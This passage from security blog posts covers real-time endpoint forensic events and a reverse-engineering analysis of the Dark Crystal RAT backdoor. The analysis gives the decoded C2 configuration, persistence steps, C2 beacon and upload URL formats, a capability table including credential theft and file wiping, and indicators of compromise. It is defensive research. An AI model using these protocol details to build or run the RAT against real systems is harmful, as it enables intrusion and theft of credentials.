under the user context of TEST-DOMAIN\BackupAdmin. We can compare this real-time event with what an analyst might see in other process execution artifacts. Table 2 provides an example AppCompat entry for the same executed process. Note the recorded timestamp is for the last modified time of the file, not the process start time.  Field Example File Last Modified (UTC) 2020-03-07 23:48:09 File Path C:\Windows\Temp\legitservice.exe Executed Flag TRUE Table 2: Example AppCompat entry Table 3 provides an example AmCache entry. Note the last modified time of the registry key can usually be used to determine the process start time and this artifact includes the SHA1 hash of the file.  Field Example Registry Key Last Modified (UTC) 2020-03-10 16:40:58 File Path C:\Windows\Temp\legitservice.exe File Sha1 Hash 2b2e04ab822ef34969b7d04642bae47385be425c Table 3: Example AmCache entry Table 4 provides an example Windows Event Log process creation event. Note this artifact includes the PID in hexadecimal notation, details about the parent process, and even a field for where the process command line arguments should be. In this example the command line arguments are not present because they are disabled by default and Mandiant rarely sees this policy enabled by clients on investigations.  Field Example Write Time (UTC) 2020-03-10 16:40:58 Log Security Source Microsoft Windows security EID 4688 Message A new process has been created. Creator Subject: Security ID: TEST-DOMAIN\BackupAdmin Account Name: BackupAdmin Account Domain: TEST-DOMAIN Logon ID: 0x6D6AD Target Subject: Security ID: NULL SID Account Name: - Account Domain: - Logon ID: 0x0 Process Information: New Process ID: 0x24b0 New Process Name: C:\Windows\Temp\legitservice.exe Token Elevation Type: %%1938 Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x238f Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: Table 4: Example Windows event log process creation event If we combine the evidence available in AmCache with a fully detailed Windows Event Log process creation event, we could match the evidence available in the real-time event except for a small difference in file hash types. #### File Write Events An attacker may choose to modify or delete important evidence. If an attacker uses a file shredding tool like Sysinternal’s SDelete, it is unlikely the analyst will recover the original contents of the file. Our solution’s real-time file write events are incredibly useful in situations like this because they record the MD5 hash of the files written and partial contents of the file. File write events also record which process created or modified the file in question. Table 5 provides an example of a real-time file write event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:42:59.956 Sequence Number 2884312 PID 9392 Process Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Device Path \Device\HarddiskVolume2 File Path C:\Windows\Temp\WindowsServiceNT.log File MD5 Hash 30a82a8a864b6407baf9955822ded8f9 Num Bytes Seen Written 8 Size 658 Writes 4 Event reason File closed Closed TRUE Base64 Encoded Data At Lowest Offset Q3JlYXRpbmcgJ1dpbmRvd3NTZXJ2aWNlTlQubG9nJy Bsb2dmaWxlIDogT0sNCm1pbWlrYXR6KGNvbW1hbmQ Text At Lowest Offset Creating 'WindowsServiceNT.log' logfile : OK....mimikatz(command Table 5: Example real-time file write event Based on this real-time file write event, the malicious executable C:\Windows\Temp\legitservice.exe wrote the file C:\Windows\Temp\WindowsServiceNT.log to disk with the MD5 hash 30a82a8a864b6407baf9955822ded8f9. Since the real-time event recorded the beginning of the written file, we can determine the file likely contained Mimikatz credential harvester output which Mandiant has observed commonly starts with OK....mimikatz. If we investigate a little later, we’ll see a process creation event for C:\Windows\Temp\taskassist.exe with the MD5 file hash 2b5cb081721b8ba454713119be062491 followed by several file write events for this process summarized in Table 6.  Timestamp File Path File Size 2020-03-10 16:53:42.351 C:\Windows\Temp\WindowsServiceNT.log 638 2020-03-10 16:53:42.351 C:\Windows\Temp\AAAAAAAAAAAAAAAA.AAA 638 2020-03-10 16:53:42.351 C:\Windows\Temp\BBBBBBBBBBBBBBBB.BBB 638 2020-03-10 16:53:42.351 C:\Windows\Temp\CCCCCCCCCCCCCCCC.CCC 638 … 2020-03-10 16:53:42.382 C:\Windows\Temp\XXXXXXXXXXXXXXXX.XXX 638 2020-03-10 16:53:42.382 C:\Windows\Temp\YYYYYYYYYYYYYYYY.YYY 638 2020-03-10 16:53:42.382 C:\Windows\Temp\ZZZZZZZZZZZZZZZZ.ZZZ 638 Table 6: Example timeline of SDelete File write events Admittedly, this activity may seem strange at a first glance. If we do some research on the its file hash, we’ll see the process is actually SDelete masquerading as C:\Windows\Temp\taskassist.exe. As part of its secure deletion process, SDelete renames the file 26 times in a successive alphabetic manner. #### Network Events Incident responders rarely see evidence of network communication from historical evidence on an endpoint without enhanced logging. Usually, Mandiant relies on NetFlow data, network sensors with full or partial packet capture, or malware analysis to determine the command and control (C2) servers with which a malware sample can communicate. Our solution’s real-time network events record both local and remote network ports, the leveraged protocol, and the relevant process. Table 7 provides an example of a real-time IPv4 network event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:46:51.690 Sequence Number 2895588 PID 9392 Process + Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Local IP Address 10.0.0.52 Local Port 57472 Remote IP Address 10.0.0.51 Remote Port 443 Protocol TCP Table 7: Example real-time network connection event Based on this real-time IPv4 network event, the malicious executable C:\Windows\Temp\legitservice.exe made an outbound TCP connection to 10.0.0.51:443. #### Registry Key Events By using historical evidence to investigate relevant timeframes and commonly abused registry keys, we can identify malicious or leveraged keys. Real-time registry key events are useful for linking processes to the modified registry keys. They can also show when an attacker deletes or renames a registry key. This is useful to an analyst because the only available timestamp recorded in the registry is the last modified time of a registry key, and this timestamp is updated if a parent key is updated. Table 8 provides an example of a real-time registry key event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:46:56.409 Sequence Number 2898196 PID 9392 Process + Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Event Type 3 Path HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ LegitWindowsService\ImagePath Key Path CurrentControlSet\Services\LegitWindowsService Original Path HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\LegitWindowsService Value Name ImagePath Value Type REG_EXPAND_SZ Base64 Encoded Value QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABsAG UAZwBpAHQAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAA== Text C:\Windows\Temp\legitservice.exe Table 8: Example real-time registry key event For our solution's real-time registry events, we can map the event type to the operation performed using Table 9.  Event Type Value Operation 1 PreSetValueKey 2 PreDeleteValueKey 3 PostCreateKey, PostCreateKeyEx, PreCreateKeyEx 4 PreDeleteKey 5 PreRenameKey Table 9: FireEye Endpoint Security real-time registry key event types Based on this real-time registry key event, the malicious executable C:\Windows\Temp\legitservice.exe created the Windows service LegitWindowsService. If we investigated the surrounding registry keys, we might identify even more information about this malicious service. #### Conclusion The availability of real-time events designed for forensic analysis can fill in gaps that traditional forensic artifacts cannot on their own. Mandiant has seen great value in using real-time events during active-attacker investigations. We have used real-time events to determine the functionality of attacker utilities that were no longer present on disk, to determine users and source network addresses used during malicious remote desktop activity when expected corresponding event logs were missing, and more. Check out our FireEye Endpoint Security page and Redline page for more information (as well as Redline on the FireEye Market), and take a FireEye Endpoint Security tour today. # Analyzing Dark Crystal RAT, a C# Backdoor The FireEye Mandiant Threat Intelligence Team helps protect our customers by tracking cyber attackers and the malware they use. The FLARE Team helps augment our threat intelligence by reverse engineering malware samples. Recently, FLARE worked on a new C# variant of Dark Crystal RAT (DCRat) that the threat intel team passed to us. We reviewed open source intelligence and prior work, performed sandbox testing, and reverse engineered the Dark Crystal RAT to review its capabilities and communication protocol. Through publishing this blog post we aim to help defenders look for indicators of compromise and other telltale signs of Dark Crystal RAT, and to assist fellow malware researchers new to .NET malware, or who encounter future variants of this sample. #### Discovering Dark Crystal RAT The threat intel team provided FLARE with an EXE sample, believed to contain Dark Crystal RAT, and having the MD5 hash b478d340a787b85e086cc951d0696cb1. Using sandbox testing, we found that this sample produced two executables, and in turn, one of those two executables produced three more. Figure 1 shows the relationships between the malicious executables discovered via sandbox testing. Figure 1: The first sample we began analyzing ultimately produced five executables. Armed with the sandbox results, our next step was to perform a triage analysis on each executable. We found that the original sample and mnb.exe were droppers, that dal.exe was a clean-up utility to delete the dropped files, and that daaca.exe and fsdffc.exe were variants of Plurox, a family with existing reporting. Then we moved to analyzing the final dropped sample, which was dfsds.exe. We found brief public reporting by @James_inthe_box on the same sample, identifying it as DCRat and as a RAT and credential stealer. We also found a public sandbox run that included the same sample. Other public reporting described DCRat, but actually analyzed the daaca.exe Plurox component bundled along with DCRat in the initial sample. Satisfied that dfsds.exe was a RAT lacking detailed public reporting, we decided to perform a deeper analysis. #### Analyzing Dark Crystal RAT ##### Initial Analysis Shifting aside from our sandbox for a moment, we performed static analysis on dfsds.exe. We chose to begin static analysis using CFF Explorer, a good tool for opening a PE file and breaking down its sections into a form that is easy to view. Having viewed dfsds.exe in CFF Explorer, as shown in Figure 2, the utility showed us that it is a .NET executable. This meant we could take a much different path to analyzing it than we would on a native C or C++ sample. Techniques we might have otherwise used to start narrowing down a native sample’s functionality, such as looking at what DLLs it imports and what functions from those DLLs that it uses, yielded no useful results for this .NET sample. As shown in Figure 3, dfsds.exe imports only the function _CorExeMain from mscoree.dll. We could have opened dfsds.exe in IDA Pro, but IDA Pro is usually not the most effective way of analyzing .NET samples; in fact, the free version of IDA Pro cannot handle .NET Common Language Infrastructure (CLI) intermediate code. Figure 2: CFF Explorer shows that dfsds.exe is a .NET executable. Figure 3: The import table for dfsds.exe is not useful as it contains only one function. Instead of using a disassembler like IDA Pro on dfsds.exe, we used a .NET decompiler. Luckily for the reverse engineer, decompilers operate at a higher level and often produce a close approximation of the original C# code. dnSpy is a great .NET decompiler. dnSpy’s interface displays a hierarchy of the sample’s namespaces and classes in the Assembly Explorer and shows code for the selected class on the right. Upon opening dfsds.exe, dnSpy told us that the sample’s original name at link time was DCRatBuild.exe, and that its entry point is at <PrivateImplementationDetails>{63E52738-38EE-4EC2-999E-1DC99F74E08C}.Main, shown in Figure 4. When we browsed to the Main method using the Assembly Explorer, we found C#-like code representing that method in Figure 5. Wherever dnSpy displays a call to another method in the code, it is possible to click on the target method name to go to it and view its code. By right-clicking on an identifier in the code, and clicking Analyze in the context menu, we caused dnSpy to look for all occurrences where the identifier is used, similar to using cross-references in IDA Pro. Figure 4: dnSpy can help us locate the sample's entry point Figure 5: dnSpy decompiles the Main method into C#-like code We went to the SchemaServerManager.Main method that is called from the entry point method, and observed that it makes many calls to ExporterServerManager.InstantiateIndexer with different integer arguments, as shown in Figure 6. We browsed to the ExporterServerManager.InstantiateIndexer method, and found that it is structured as a giant switch statement with many goto statements and labels; Figure 7 shows an excerpt. This does not look like typical dnSpy output, as dnSpy often reconstructs a close approximation of the original C# code, albeit with the loss of comments and local variable names. This code structure, combined with the fact that the code refers to the CipherMode.CBC constant, led us to believe that ExporterServerManager.InstantiateIndexer may be a decryption or deobfuscation routine. Therefore, dfsds.exe is likely obfuscated. Luckily, .NET developers often use obfuscation tools that are somewhat reversible through automated means. Figure 6: SchemaServerManager.Main makes many calls to ExporterServerManager.InstantiateIndexer Figure 7: ExporterServerManager.InstantiateIndexer looks like it may be a deobfuscation routine ##### Deobfuscation De4dot is a .NET deobfuscator that knows how to undo many types of obfuscations. Running de4dot -d (for detect) on dfsds.exe (Figure 8) informed us that .NET Reactor was used to obfuscate it.  > de4dot -d dfsds.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET Reactor (C:\...\dfsds.exe) Figure 8: dfsds.exe is obfuscated with .NET Reactor After confirming that de4dot can deobfuscate dfsds.exe, we ran it again to deobfuscate the sample into the file dfsds_deob.exe (Figure 9).  > de4dot -f dfsds.exe -o dfsds_deob.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET Reactor (C:\Users\user\Desktop\intelfirst\dfsds.exe) Cleaning C:\Users\user\Desktop\intelfirst\dfsds.exe Renaming all obfuscated symbols Saving C:\Users\user\Desktop\intelfirst\dfsds_deob.exe Figure 9: de4dot successfully deobfuscates dfsds.exe After deobfuscating dfsds.exe, we ran dnSpy again on the resulting dfsds_deob.exe. When we decompiled SchemaServerManager.Main again, the results were much different, as shown in Figure 10. Contrasting the new output with the obfuscated version shown previously in Figure 6, we found the deobfuscated code much more readable. In the deobfuscated version, all the calls to ExporterServerManager.InstantiateIndexer were removed; as suspected, it was apparently a string decoding routine. In contrast, the class names shown in the Assembly Explorer did not change; the obfuscator must have irrecoverably replaced the original class names with meaningless ones obtained from a standard list. Next, we noted that ten lines in Figure 10 hold base64-encoded data. Once the sample was successfully deobfuscated, it was time to move on to extracting its configuration and to follow the sample’s code path to its persistence capabilities and initial beacon. Figure 10: Deobfuscating dfsds.exe shows that the method begins with some path manipulation and then accesses Base64-encoded data ##### Configuration, Persistence and Initial Beacon Recall that in Figure 10 we found that the method SchemaServerManager.Main has a local variable containing Base64-encoded data; decoding that data revealed what it contains. Figure 11 shows the decoded configuration (with C2 endpoint URLs de-fanged):  > echo TUhvc3Q6aHR0cDovL2RvbWFsby5vbmxpbmUva3NlemJseGx2b3Uza2NtYnE4bDdoZjNmNGN5NXhnZW 80dWRsYTkxZHVldTNxYTU0LzQ2a3FianZ5a2x1bnAxejU2dHh6a2hlbjdnamNpM2N5eDhnZ2twdHgy NWk3NG1vNm15cXB4OWtsdnYzL2FrY2lpMjM5bXl6b24weHdqbHhxbm4zYjM0dyxCSG9zdDpodHRwOi 8vZG9tYWxvLm9ubGluZS9rc2V6Ymx4bHZvdTNrY21icThsN2hmM2Y0Y3k1eGdlbzR1ZGxhOTFkdWV1 M3FhNTQvNDZrcWJqdnlrbHVucDF6NTZ0eHpraGVuN2dqY2kzY3l4OGdna3B0eDI1aTc0bW82bXlxcH g5a2x2djMvYWtjaWkyMzlteXpvbjB4d2pseHFubjNiMzR3LE1YOkRDUl9NVVRFWC13TGNzOG8xTlZF VXRYeEo5bjl5ZixUQUc6VU5ERUY= | base64 -d MHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/ 46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjl xqnn3b34w,BHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91 dueu3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239 myzon0xwjlxqnn3b34w,MX:DCR_MUTEX-wLcs8o1NVEUtXxJ9n9yf,TAG:UNDEF Figure 11: Decoding the base64 data in SchemaServerManager.Main reveals a configuration string Figure 11 shows that the data decoded to a configuration string containing four values: MHost, BHost, MX, and TAG. We analyzed the code that parses this string and found that MHost and BHost were used as its main and backup command and control (C2) endpoints. Observe that the MHost and BHost values in Figure 11 are identical, so this sample did not have a backup C2 endpoint. In dnSpy it is possible to give classes and methods meaningful names just as it is possible to name identifiers in IDA Pro. For example, the method SchemaServerManager.StopCustomer picks the name of a random running process. By right-clicking the StopCustomer identifier and choosing Edit Method, it is possible to change the method name to PickRandomProcessName, as shown in Figure 12. Figure 12: Assigning meaningful names to methods makes it easier to keep analyzing the program Continuing to analyze the SchemaServerManager.Main method revealed that the sample persists across reboots. The persistence algorithm can be summarized as follows: 1. The malware picks the name of a random running process, and then copies itself to %APPDATA% and C:\. For example, if svchost.exe is selected, then the malware copies itself to %APPDATA%\svchost.exe and C:\svchost.exe. 2. The malware creates a shortcut %APPDATA%\dotNET.lnk pointing to the copy of the malware under %APPDATA%. 3. The malware creates a shortcut named dotNET.lnk in the logged-on user’s Startup folder pointing to %APPDATA%\dotNET.lnk. 4. The malware creates a shortcut C:\Sysdll32.lnk pointing to the copy of the malware under C:\. 5. The malware creates a shortcut named Sysdll32.lnk in the logged-on user’s Startup folder pointing to C:\Sysdll32.lnk. 6. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss pointing to %APPDATA%\dotNET.lnk. 7. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit pointing to C:\Sysdll32.lnk. After its persistence steps, the malware checks for multiple instances of the malware: 1. The malware sleeps for a random interval between 5 and 7 seconds. 2. The malware takes the MD5 hash of the still-base64-encoded configuration string, and creates the mutex whose name is the hexadecimal representation of that hash. For this sample, the malware creates the mutex bc2dc004028c4f0303f5e49984983352. If this fails because another instance is running, the malware exits. The malware then beacons, which also allows it to determine whether to use the main host (MHost) or backup host (BHost). To do so, the malware constructs a beacon URL based on the MHost URL, makes a request to the beacon URL, and then checks to see if the server responds with the HTTP response body “ok.” If the server does not send this response, then the malware unconditionally uses the BHost; this code is shown in Figure 13. Note that since this sample has the same MHost and BHost value (from Figure 11), the malware uses the same C2 endpoint regardless of whether the check succeeds or fails. Figure 13: The malware makes an HTTP request based on the MHost URL to determine whether to use the MHost or BHost The full algorithm to obtain the beacon URL is as follows: 1. Obtain the MHost URL, i.e., hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239my zon0xwjlxqnn3b34w . 2. Calculate the SHA1 hash of the full MHost URL, i.e., 56743785cf97084d3a49a8bf0956f2c744a4a3e0. 3. Remove the last path component from the MHost URL, and then append the SHA1 hash from above, and ?data=active. The full beacon URL is therefore hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/56743785cf 97084d3a49a8bf0956f2c744a4a3e0.php?data=active . After beaconing the malware proceeds to send and receive messages with the configured C2. ### Messages and Capabilities After performing static analysis of dfsds.exe to determine how it selects the C2 endpoint and confirming the C2 endpoint URL, we shifted to dynamic analysis in order to collect sample C2 traffic and make it easier to understand the code that generates and accepts C2 messages. Luckily for our analysis, the malware continues to generate requests to the C2 endpoint even if the server does not send a valid response. To listen for and intercept requests to the C2 endpoint (domalo[.]online) without allowing the malware Internet access, we used FLARE’s FakeNet-NG tool. Figure 14 shows some of the C2 requests that the malware made being captured by FakeNet-NG. Figure 14: FakeNet-NG can capture the malware's HTTP requests to the C2 endpoint By comparing the messages generated by the malware and captured in FakeNet-NG with the malware’s decompiled code, we determined its message format and types. Observe that the last HTTP request visible in Figure 14 contains a list of running processes. By tracing through the decompiled code, we found that the method SchemaServerManager.ObserverWatcher.NewMerchant generated this message. We renamed this method to taskThread and assigned meaningful names to the other methods it calls; the resulting code for this method appears in Figure 15. Figure 15: The method that generates the list of running processes and sends it to the C2 endpoint By analyzing the code further, we identified the components of the URLs that the malware used to send data to the C2 endpoint, and how they are constructed. Beacons The first type of URL is a beacon, sent only once when the malware starts up. For this sample, the beacon URL was always hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzk hen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/<hash>.php?data=active, where <hash> is the SHA1 hash of the MHost URL, as described earlier. GET requests, format 1 When the malware needs to send data to or receive data from the C2, it sends a message. The first type of message, which we denote as “format 1,” is a GET request to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php? type=__ds_setdata&__ds_setdata_user=<user_hash>&__ds_setdata_ext=<message_hash>&__ds_setdata_data=<message> , where: • <hash> is MD5(SHA1(MHost)), which for this sample, is 212bad81b4208a2b412dfca05f1d9fa7. • <user_hash> is a unique identifier for the machine on which the malware is running. It is always calculated as SHA1(OS_version + machine_name + user_name) as provided by the .NET System.Environment class. • <message_hash> identifies what kind of message the malware is sending to the C2 endpoint. The <message_hash> is calculated as MD5(<message_type> + <user_hash>), where <message_type> is a short keyword identifying the type of message, and <user_hash> is as calculated above. • Values for <message_type> exist for each command that the malware supports; for possible values, see the “msgs” variable in the code sample shown in Figure 19. • Observe that this makes it difficult to observe the message type visually from log traffic, or to write a static network signature for the message type, since it varies for every machine due to the inclusion of the <user_hash>. • One type of message uses the value u instead of a hash for <message_hash>. • <message> is the message data, which is not obscured in any way. The other type of ordinary message is a getdata message. These are GET requests to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php? type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ext=<message_hash>&__ds_getdata_key=<key> , where: • <hash> and <user_hash> are calculated as described above for getdata messages. • <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. • <key> is MD5(<user_hash>). The server is expected to respond to a getdata message with an appropriate response for the type of message specified by <message_hash>. GET requests, format 2 A few types of messages from the malware to the C2 use a different format, which we denote as “format 2.” These messages are GET requests of the form hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzkhen7gj ci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn3b34w/<user_hash>.<mes sage_hash> , where: • <user_hash> is calculated as described above for getdata messages. • <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. <message_hash> may also be the string comm. Table 1 shows possible <message_types> that may be incorporated into <message_hash> as part of format 2 messages to instruct the server which type of response is desired. In contrast to format 1 messages, format 2 messages are only used for a handful of <message_type> values.  Response desired s_comm The server sends a non-empty response if a screenshot request is pending m_comm The server sends a non-empty response if a microphone request is pending RDK The server responds directly with keystrokes to replay comm The server responds directly with other types of tasking Table 1: Message types when the malware uses a special message to request tasking from the server POST requests When the malware needs to upload large files, it makes a POST request. These POST requests are sent to hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php , with the following parameters in the POST data: • name is <user_hash> + "." + <message_type>, where <user_hash> is calculated as described above and <message_type> is the type of data being uploaded. • upload is a file with the data being sent to the server. Table 2 shows possible <message_type> values along with the type of file being uploaded.  Type of File jpg Screenshot zipstealerlog Cookie stealer log wav Microphone recording file Uploaded file bmp Webcam image RD.jpg Remote control screenshot Table 2: Message types when files are uploaded to the server Capabilities By analyzing the code that handles the responses to the comm message (format 2), it was possible for us to inventory the malware’s capabilities. Table 3 shows the keywords used in responses along with the description of each capability.  Keyword Description shell Execute a shell command deleteall Recursively delete all files from C:, D:, F:, and G: closecd Close the CD-ROM drive door setwallpaper Change the background wallpaper ddos Send TCP and UDP packets to a given host or IP address logoff Log off the current user keyboardrecorder Replay keystrokes as if the user had typed them fm_newfolder Create a new folder fm_rename Rename or move a file desktopHide Hide desktop icons keyloggerstart Start logging keystrokes exec_cs_code Compile and execute C# code msgbox Open a Windows MessageBox fm_upload Transfer a file from the C2 to the client rdp Re-spawn the malware running as an administrator fm_zip Build a ZIP file from a directory tree and transfer it from the client to the C2 webcam Take a webcam picture fm_unzip Unzip a ZIP file to a given path on the client keyloggerstop Stop logging keystrokes fm_drives Enumerate drive letters cookiestealer Transfer cookies and browser/FileZilla saved credentials to the C2 fm_delete Recursively delete a given directory dismon Hide desktop icons and taskbar fm_uploadu Transfer a file from the C2 to the client taskstart Start a process cleardesktop Rotate screen lcmd Run shell command and send standard output back to C2 taskbarShow Show taskbar clipboard Set clipboard contents cookiestealer_file Save cookies and credentials to a local file newuserpass Create a new local user account beep Beep for set frequency and duration speak Use speech synthesizer to speak text openchat Open chat window taskbarHide Hide the taskbar RDStart Start remote control over user’s desktop closechat Close chat window RDStop Stop remote control over user’s desktop fm_opendir List directory contents uninstall Remove the malware from the client taskkill Kill a process forkbomb Endlessly spawn instances of cmd.exe fm_get Transfer a file from the client to the C2 desktopShow Show desktop icons Clipboardget Transfer clipboard contents to C2 playaudiourl Play a sound file opencd Open the CD-ROM drive door shutdown Shut down the machine restart Restart the machine browseurl Open a web URL in the default browser Table 3: Capabilities of DCRat #### Proof-of-Concept Dark Crystal RAT Server After gathering information from Dark Crystal RAT about its capabilities and C2 message format, another way to illustrate the capabilities and test our understanding of the messages was to write a proof-of-concept server. Here is a code snippet that we wrote containing a barebones DCRat server written in Python. Unlike a real RAT server, this one does not have a user interface to allow the attacker to pick and launch commands. Instead, it has a pre-scripted command list that it sends to the RAT. When the server starts up, it uses the Python BaseHTTPServer to begin listening for incoming web requests (lines 166-174). Incoming POST requests are assumed to hold a file that the RAT is uploading to the server; this server assumes all file uploads are screenshots and saves them to “screen.png” (lines 140-155). For GET requests, the server must distinguish between beacons, ordinary messages, and special messages (lines 123-138). For ordinary messages, __ds_setdata messages are simply printed to standard output, while the only __ds_getdata message type supported is s_comm (screenshot communications), to which the server responds with the desired screenshot dimensions (lines 63-84). For messages of type comm, the server sends four types of commands in sequence: first, it hides the desktop icons; then, it causes the string “Hello this is tech support” to be spoken; next, it displays a message box asking for a password; finally, it launches the Windows Calculator (lines 86-121). Figure 16 shows the results when Dark Crystal RAT is run on a system that has been configured to redirect all traffic to domalo[.]online to the proof-of-concept server we wrote. Figure 16: The results when a Dark Crystal RAT instance communicates with the proof-of-concept server #### Other Work and Reconnaissance After reverse engineering Dark Crystal RAT, we continued reconnaissance to see what additional information we could find. One limitation to our analysis was that we did not wish to allow the sample to communicate with the real C2, so we kept it isolated from the Internet. To learn more about Dark Crystal RAT we tried two approaches: the first was to browse the Dark Crystal RAT website (files.dcrat[.]ru) using Tor, and the other was to take a look at YouTube videos of others’ experiments with the “real” Dark Crystal RAT server. ##### Dark Crystal RAT Website We found that Dark Crystal RAT has a website at files.dcrat[.]ru, shown in Figure 17. Observe that there are options to download the RAT itself, as well as a few plugins; the DCLIB extension is consistent with the plugin loading code we found in the RAT. Figure 17: The website files.dcrat[.]ru allows users to download Dark Crystal RAT and some of its plugins Figure 18 shows some additional plugins, including plugins with the ability to resist running in a virtual machine, disable Windows Defender, and disable webcam lights on certain models. No plugins were bundled with the sample we studied. Figure 18: Additional plugins listed on the Dark Crystal RAT website Figure 19 lists software downloads on the RAT page. We took some time to look at these files; here are some interesting things we discovered: • The DCRat listed on the website is actually a “builder” that packages a build of the RAT and a configuration for the attacker to deploy. This is consistent with the name DCRatBuild.exe shown back in Figure 4. In our brief testing of the builder, we found that it had a licensing check. We did not pursue bypassing it once we found public YouTube videos of the DCRat builder in operation, as we show later. • The DarkCrystalServer is not self-contained, rather, it is just a PHP file that allows the user to supply a username and password, which causes it to download and install the server software. Due to the need to supply credentials and communicate back with dcrat[.]ru (Figure 20), we did not pursue further analysis of DarkCrystalServer. Figure 19: The RAT page lists software for the RAT, the server, an API, and plugin development Figure 20: The DarkCrystalServer asks for a username and password and calls back to dcrat[.]ru to download software, so we did not pursue it further ##### YouTube Videos As part of confirming our findings about Dark Crystal RAT capabilities that we obtained through reverse engineering, we found some YouTube demonstrations of the DCRat builder and server. The YouTube user LIKAR has a YouTube demonstration of Dark Crystal RAT. The author demonstrates use of the Dark Crystal RAT software on a server with two active RAT instances. During the video, the author browses through the various screens in the software. This made it easy to envision how a cyber threat would use the RAT, and to confirm our suspicions of how it works. Figure 21 shows a capture from the video at 3:27. Note that the Dark Crystal RAT builder software refers to the DCRatBuild package as a “server” rather than a client. Nonetheless, observe that one of the options was a type of Java, or C# (Beta). By watching this YouTube video and doing some additional background research, we discovered that Dark Crystal RAT has existed for some time in a Java version. The C# version is relatively new. This explained why we could not find much detailed prior reporting about it. Figure 21: A YouTube demonstration revealed that Dark Crystal RAT previously existed in a Java version, and the C# version we analyzed is in beta Figure 22 shows another capture from the video at 6:28. The functionality displayed on the screen lines up nicely with the “msgbox”, “browseurl”, “clipboard”, “speak”, “opencd”, “closecd”, and other capabilities we discovered and enumerated in Table 6. Figure 22: A YouTube demonstration confirmed many of the Dark Crystal RAT capabilities we found in reverse engineering #### Conclusion In this post we walked through our analysis of the sample that the threat intel team provided to us and all its components. Through our initial triage, we found that its “dfsds.exe” component is Dark Crystal RAT. We found that Dark Crystal RAT was a .NET executable, and reverse engineered it. We extracted the malware’s configuration, and through dynamic analysis discovered the syntax of its C2 communications. We implemented a small proof-of-concept server to test the correct format of commands that can be sent to the malware, and how to interpret its uploaded screenshots. Finally, we took a second look at how actual threat actors would download and use Dark Crystal RAT. To conclude, indicators of compromise for this version of Dark Crystal RAT (MD5: 047af34af65efd5c6ee38eb7ad100a01) are given in Table 4. #### Indicators of Compromise ##### Dark Crystal RAT (dfsds.exe)  Handle artifacts Mutex name bc2dc004028c4f0303f5e49984983352 Registry artifacts Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit File system artifacts File C:\Sysdll32.lnk File %APPDATA%\dotNET.lnk File Start Menu\Programs\Startup\Sysdll32.lnk File Start Menu\Programs\Startup\dotNET.lnk File %APPDATA%\.exe File C:\.exe Network artifacts HTTP request hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/212bad81b4208a2b412dfca05f1d9fa7.php?data=active HTTP request hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/akcii239myzon0xwjlxqnn3b34w212bad81b4208a2b412dfca05f1d9f a7.php? type=__ds_getdata&__ds_getdata_user=&__ds_getdata_ex 